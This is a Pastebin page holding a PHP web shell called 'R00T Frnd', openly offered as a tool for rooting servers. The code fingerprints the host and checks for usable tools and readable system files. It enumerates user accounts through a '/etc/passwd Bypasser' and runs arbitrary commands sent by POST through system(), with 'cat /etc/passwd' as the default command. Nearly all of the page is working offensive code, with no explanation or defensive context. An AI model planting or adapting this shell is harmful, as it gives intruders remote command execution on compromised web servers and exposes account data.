Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #####################################
- #R00Ting Frnd
- #Helps You In Rooting Server
- #Demo >> http://viper-7.com/ksKoIU/5.6.10?
- #By H4T3D
- #########################################
- error_reporting(0);
- function excute($cfe) {
- $res = '';
- if (!empty($cfe)) {
- if(@function_exists('exec')) {
- @exec($cfe,$res);
- $res = join("\n",$res);
- } elseif(@function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif(@function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
- $res = "";
- while(!@feof($f)) { $res .= @fread($f,1024); }
- @pclose($f);
- } else { $res = "Ex() Disabled!"; }
- }
- return $res;
- }
- // Show Stat
- function showstat($stat) {
- if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
- else { return "<font color=red><b>OFF</b></font>"; }
- }
- function named_conf(){
- if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
- }else { return "<font color=red><b>Not Readable</b></font>"; }
- }
- function passwd(){
- if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
- }else { return "<font color=red><b>Not Readable</b></font>"; }
- }
- function testoracle() {
- if (@function_exists('ocilogon')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testpostgresql() {
- if (@function_exists('pg_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testmssql() {
- if (@function_exists('mssql_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testmysql() {
- if (@function_exists('mysql_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function showdisablefunctions() {
- if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
- else { return "<font color=green><b>NONE</b></b></font>"; }
- }
- function openbase_dir() {
- if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
- else { return "<font color=green><b>NONE</b></b></font>"; }
- }
- function testfetch() {
- if(excute('fetch --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testwget() {
- if (excute('wget --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testperl() {
- if (excute('perl --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testpy() {
- if (excute('python --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testsh() {
- if (excute('bash --help')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testcurl() {
- if (@function_exists('curl_version')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
- $safemode = TRUE;
- $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
- }else{
- $safemode = FALSE;
- $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
- }
- $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
- echo "
- <html><head><title>Server Info ~ ".$_SERVER['HTTP_HOST']." ~</title>
- <link href='https://fonts.googleapis.com/css?family=Orbitron' rel='stylesheet' type='text/css'>
- <style>
- html,body{
- font-family: 'Orbitron', sans-serif;
- background:#FFFFFF;
- }
- </style>
- </head><body>
- <center><h1>R00T Frnd -H4T3D</h1></center>
- <center><h3>Your Rooting Frnd</h3></center>
- <div class=info>
- <table bgcolor=\"#ff0000\" width=\"100%px\" height=\"20px\"><tbody><tr>
- </tr></tbody></table>
- <font color=#000 size=2px>
- <span><font color='#111'>
- <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
- <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
- <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
- <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
- <br> Current Dir: <font color=blue>{$pwd} |</font></br>
- <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
- <br> Your IP:<font color=blue>".$_SERVER['HTTP_HOST']." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
- <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
- <br> Disabled Functions: ".@showdisablefunctions()."|</br>
- <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
- <br>
- MySQL: ".@testmysql()."|
- MSSQL: ".@testmssql()."|
- Oracle: ".@testoracle()."|
- PostgreSQL: ".@testpostgresql()."|
- cURL: ".@testcurl()."|
- Fetch: ".@testfetch()."|
- WGet: ".@testwget()."|
- Perl: ".@testperl()."|
- Python: ".@testpy()."|
- Bash: ".@testsh()."|
- </center>
- </font>
- <br/>
- </div>
- <br/>
- ";
- ?>
- <div id="r" align="center" style="border-bottom:10px solid #12549c;">
- <a href="?sh3ll"> [Sh3ll Execute]</a>
- <a href="?bypass"> [/etc/passwd Bypasser]</a>
- </div>
- <?php
- if(isset($_GET['bypass'])){
- ?>
- <p align="center" dir="rtl"><font color="#008080">
- <font color="red" face="Tahoma"><h1>/etc/passwd Bypasser </h1></font></a></font><font color="red">
- <font color="red"><span lang="ar-sa">
- <td width="50%"><font color=red>Server IP :<font color="black"><?php echo $_SERVER["SERVER_ADDR"].'</b>'?></font></font></td>
- <td width="100%" colspan="2">
- <p align="center">
- <form action="" method="GET">
- <input type="submit" value="Submit" name="r00t">
- </td>
- </form>
- <?php
- }
- if(isset($_GET['r00t'])){
- echo"<center><textarea rows=20 cols=100 wrap=off>";
- for($uid=0;$uid<60000;$uid++){
- $ara = posix_getpwuid($uid);
- if (!empty($ara)) {
- while (list ($key, $val) = each($ara)){
- print "$val:";
- }
- print "\n";
- }
- }
- echo "</textarea></center>";
- }
- elseif(isset($_GET['sh3ll'])){
- echo'<form action="" method="POST">
- <textarea name="comands" style="margin: 0px; width: 662px; height: 105px;">cat /etc/passwd</textarea>
- </br>
- <input type="submit"/>
- </form>';
- }
- if(isset($_POST['comands'])){
- echo "<h3>".$command."</h3></br>";
- echo'<textarea style="margin: 0px; width: 916px; height: 288px;">';
- $command=$_POST["comands"];
- echo system($command)."\n";
- echo'</textarea>';
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement